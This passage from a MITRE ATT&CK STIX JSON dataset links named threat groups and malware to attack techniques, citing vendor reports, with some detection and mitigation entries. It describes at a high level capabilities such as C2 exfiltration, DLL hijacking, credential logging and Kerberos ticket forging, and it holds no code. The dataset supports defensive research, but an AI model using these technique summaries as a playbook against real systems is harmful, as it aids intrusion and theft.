2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has acquired VPS infrastructure for use in malicious campaigns.(Citation: Gigamon Berserk Bear October 2021)","modified":"2022-04-18T15:17:15.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ae2ab384-8c0c-4618-bdb8-401024d1b216","created":"2022-03-30T14:26:51.865Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections associated with pings/scans that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.","modified":"2022-04-12T13:07:28.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae2aeca3-098f-42f2-a35e-e0d206ba84f7","created":"2023-04-05T15:23:49.432Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:23:49.432Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can upload collected files and data to its C2 server.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae370b88-fd93-4803-a154-aa3debf2327b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-20T02:21:44.570Z","description":"[httpclient](https://attack.mitre.org/software/S0068) opens cmd.exe on the victim.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--e8268361-a599-4e45-bd3f-71c8c7e700c0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ae3897f5-099d-46b0-b645-81a9a45445fa","created":"2022-07-18T15:57:17.959Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) can collect mouse events.(Citation: Korean FSI TA505 2020)","modified":"2022-07-18T15:57:17.959Z","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.775Z","description":"One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a scheduled task.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae3a87db-018b-441d-bc5c-4f7e30ce5551","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"Morphisec ShellTea June 2019","description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.141Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) enables remote interaction and can obtain additional code over HTTPS GET and POST requests.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae3be82b-3d54-4be8-939b-e074a2cea170","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:13:03.951Z","description":"[Misdat](https://attack.mitre.org/software/S0083) is capable of downloading files from the C2.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae3c0dc8-de95-40bc-bced-a3c61d7ad605","type":"relationship","created":"2019-01-29T19:36:02.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2019-04-12T14:43:22.596Z","description":"[Carbon](https://attack.mitre.org/software/S0335) uses TCP and UDP for C2.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae48c7b6-5d12-4526-bf78-79fdf14544dc","type":"relationship","created":"2021-09-24T17:47:56.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-24T17:47:56.922Z","description":" [WastedLocker](https://attack.mitre.org/software/S0612) has performed DLL hijacking before execution.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae4c3306-57b7-46da-8073-9336cf96e5cf","type":"relationship","created":"2021-10-13T23:51:59.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:01.181Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has compressed data before exfiltrating it using a tool called Abbrevia.(Citation: ESET Nomadic Octopus 2018) ","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae51e82a-ef28-4598-8dc2-fe719e15a577","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae52f324-cdfa-4fc9-b7a4-0957b782b813","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for API calls that may employ various means to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae5e7681-f93e-4b5f-80f9-8235a9015e7f","type":"relationship","created":"2021-03-26T13:32:03.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT31 February 2021","url":"https://research.checkpoint.com/2021/the-story-of-jian/","description":"Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian – How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021."}],"modified":"2021-03-26T13:32:03.358Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used multi-stage packers for exploit code.(Citation: Check Point APT31 February 2021)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae5fcb43-0f85-4c96-9b4b-65fe6a19e4fb","type":"relationship","created":"2021-10-18T13:42:10.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-10-18T13:42:10.763Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) has leveraged a vulnerability in Windows containers to perform an [Escape to Host](https://attack.mitre.org/techniques/T1611).(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449","created":"2017-05-31T21:33:27.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster Tools","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.","url":"https://web.archive.org/web/20220425194457/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"US-CERT SHARPKNOT June 2018","description":"US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:05:03.630Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, [Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)(Citation: US-CERT SHARPKNOT June 2018). ","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ae64efe5-a482-418f-9be1-3a88db40f6ab","created":"2022-06-28T15:51:00.035Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [IceApple](https://attack.mitre.org/software/S1022) OWA credential logger can monitor for OWA authentication requests and log the credentials.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-28T15:51:00.035Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae6620d4-5320-4e5a-a61a-5bda4ac1c9e4","created":"2019-06-19T17:14:23.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla PowerShell May 2019","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:41:57.241Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used encryption (including salted 3DES via [PowerSploit](https://attack.mitre.org/software/S0194)'s Out-EncryptedScript.ps1), random variable names, and base64 encoding to obfuscate PowerShell commands and payloads.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae6add8b-17b3-4d50-be1a-8e4efec7fc01","type":"relationship","created":"2020-10-20T03:12:36.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:20:09.545Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae75aace-822c-484e-b25c-7d5f6792928c","type":"relationship","created":"2020-12-07T19:39:17.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:14:50.742Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can persist via DLL search order hijacking on Google Chrome, Mozilla Firefox, or Microsoft OneDrive.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae7727c7-6b4a-48fb-8ecb-b07cbe819cad","type":"relationship","created":"2021-09-29T22:24:15.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.698Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used web shells for persistence or to ensure redundant access.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae788f2a-e2d8-4615-8714-f1263c987b23","type":"relationship","created":"2021-11-17T16:29:23.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.669Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can deobfuscate its payload prior to execution.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ae78b837-1698-44a4-a81a-8eece005ea9f","created":"2022-02-01T15:08:45.228Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can be used to forge Kerberos tickets using the password hash of the AZUREADSSOACC account.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:22:22.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae7b632b-bb15-4807-be21-bdfff70f4f2e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-16T16:57:13.390Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can upload files.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae7cd450-60bc-426b-92df-14d9d1be279b","type":"relationship","created":"2021-09-29T00:04:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:41:36.568Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has a command to download files to the victim's machine.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae81a84a-e7a6-4f9d-b412-3f91b012f052","type":"relationship","created":"2021-06-24T20:07:08.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-06-24T20:07:08.421Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has exfiltrated data over its C2 channel.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae8375ef-1dd7-4b03-9fc9-ade303030cae","type":"relationship","created":"2021-07-02T14:47:15.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:47:15.372Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use the QuarksPwDump tool to obtain local passwords and domain cached credentials.(Citation: Bitdefender Naikon April 